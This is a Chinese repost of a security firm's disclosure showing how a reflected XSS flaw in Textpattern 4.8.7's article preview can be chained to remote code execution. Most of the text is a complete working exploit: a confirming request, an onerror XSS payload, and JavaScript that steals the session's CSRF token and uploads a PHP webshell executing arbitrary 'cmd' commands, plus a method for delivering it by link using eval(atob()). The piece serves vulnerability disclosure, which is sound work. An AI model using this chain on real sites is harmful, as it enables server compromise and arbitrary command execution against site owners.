作为我们对开源安全持续承诺的一部分,Pentest Ltd 对 Textpattern 版本 4.8.7 进行了一项研究项目。
Textpattern 是一款免费的开源 PHP 和 MySQL 内容管理系统。据builtwith.com 称,该系统已在两千多个网站上公开使用。
在这种情况下,未经身份验证的攻击者可以发起攻击,导致后端服务器上出现远程代码执行 (RCE)。要实现此目的,受害者必须点击嵌入 HTML 标签和 JavaScript 命令的恶意生成的链接。如果受害者拥有足够的权限并建立了身份验证会话,则单击后即可利用该应用程序。
寻找漏洞
帖子预览功能通过“Body”参数存在 XSS 漏洞。此漏洞可用于窃取 CSRF 令牌,从而通过插件上传功能实现任意代码执行。
以下显示用于确认预览是否存在漏洞的HTTP请求:
GET /textpattern/index.php?Body=A+test+article.+%0D%0A%0D%0A%3Cimg+src%3Dx+onerror%3Dalert(1)%3E&app_mode=async&view=preview HTTP/1.1
Host: 192.168.127.128
Cookie: [...] Valid Cookie is Added By the Victim’s Browser [...]
Connection: close
默认情况下,应用程序通过 HTTP POST 提交预览请求。POST 正文中的数据和 GET URL 中的数据没有区别,因此可以通过链接利用此漏洞。
解码后,HTML有效负载如下所示:
<img src=x onerror=alert(1)>
其中包括一个新的“img”标签,当在浏览器中查看时会执行弹出消息:
未经身份验证的攻击者知道此问题后,可以为任何 textpattern 安装创建 URL。攻击者无需经过身份验证即可访问 textpattern 的目标安装。受害者必须在经过身份验证时与有效负载进行交互。
如果受害者可以访问“插件”功能,攻击者可以通过将 PHP 文件上传到服务器来获得远程代码执行 (RCE)。插件上传功能需要有效的“_txp_token”,它可充当跨站点请求伪造 (CSRF) 防御。CSRF 令牌在用户会话期间是静态的。它可在 DOM 中的以下位置轻松访问:
<script>
var textpattern = {"_txp_uid":"b52057c79f0e75619c9f4c14862beb32","event":"plugin","step":"plugin_upload","_txp_token":"c33a3808f37893bcf79b5dff8fc725b9","ajax_timeout":30000,"prefs":{"max_file_size":"2000000","max_upload_size":"2097152","production_status":"testing","do_spellcheck":"#page-article #body, #page-article #title,#page-image #image_alt_text, #page-image #caption,#page-file #description,#page-link #link-title, #page-link #link-description","language_ui":"en-gb","message":"<span class="ui-icon ui-icon-{status}"></span> {message}","messagePane":"<span class="messageflash {status}" role="alert" aria-live="assertive">n {message}n <a class="close" role="button" title="{close}" href="#close"><span class="ui-icon ui-icon-close">{close}</span></a>n</span>"},"textarray":{}};
</script>
要利用此漏洞,攻击者需要使用 JavaScript 请求“/textpattern/index.php”URL 并从上面突出显示的位置提取“_txp_token”。以下 JavaScript 用于窃取令牌,然后上传 PHP webshell:
<script>
// return the response text from the request
function httpGet(theUrl){
var xmlHttp = new XMLHttpRequest();
xmlHttp.open( "GET", theUrl, false ); // false for synchronous request
xmlHttp.send( null );
return xmlHttp.responseText;
}
// steal CSRF token from DOM in the "/textpattern/index.php"
function stealToken() {
var start = '"_txp_token":"';
var end = '","ajax_timeout":';
var url = '/textpattern/index.php';
var res = httpGet(url);
var token = res.substring(res.indexOf(start) + start.length, res.indexOf(start) + start.length + 32 );
return token;
}
// upload webshell using the token.
function uploadWebShell(token) {
fetch('/textpattern/index.php',{
method: 'POST',
headers: {
'Content-Length': '667',
'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundaryozIzNEFsufRB6LpY',
'Connection': 'close'
},
credentials: 'include',
body: '------WebKitFormBoundaryozIzNEFsufRB6LpYx0dx0aContent-Disposition: form-data; name="theplugin"; filename="csrfshell.php"x0dx0aContent-Type: application/octet-streamx0dx0ax0dx0a<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>x0dx0a------WebKitFormBoundaryozIzNEFsufRB6LpYx0dx0aContent-Disposition: form-data; name="install_new"x0dx0ax0dx0aUploadx0dx0a------WebKitFormBoundaryozIzNEFsufRB6LpYx0dx0aContent-Disposition: form-data; name="event"x0dx0ax0dx0apluginx0dx0a------WebKitFormBoundaryozIzNEFsufRB6LpYx0dx0aContent-Disposition: form-data; name="step"x0dx0ax0dx0aplugin_uploadx0dx0a------WebKitFormBoundaryozIzNEFsufRB6LpYx0dx0aContent-Disposition: form-data; name="_txp_token"x0dx0ax0dx0a'+token+'x0dx0a------WebKitFormBoundaryozIzNEFsufRB6LpY--x0dx0a'
});
}
uploadWebShell(stealToken());
</script>
上述有效载荷可以通过链接传递,技术如下:
/textpattern/index.php?Body=<img src=x onerror=eval(atob('<PAYLOAD>'))>&app_mode=async&view=preview
“eval”函数执行了使用“atob”进行 Base64 解码的有效载荷。要利用此功能,完整的 JavaScript 有效载荷必须先进行 Base64 解码,然后进行 URL 编码,然后粘贴到上面的“<PAYLOAD>”标记上。
利用该脚本后,可以访问新的“csrfshell.php”脚本,该脚本执行“cmd”参数中提供的操作系统命令:
https://pentest.co.uk/labs/leveraging-xss-to-get-rce-in-textpattern/
原文始发于微信公众号(Ots安全):利用 XSS 在 Textpattern 4.8.7 中获取 RCE
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论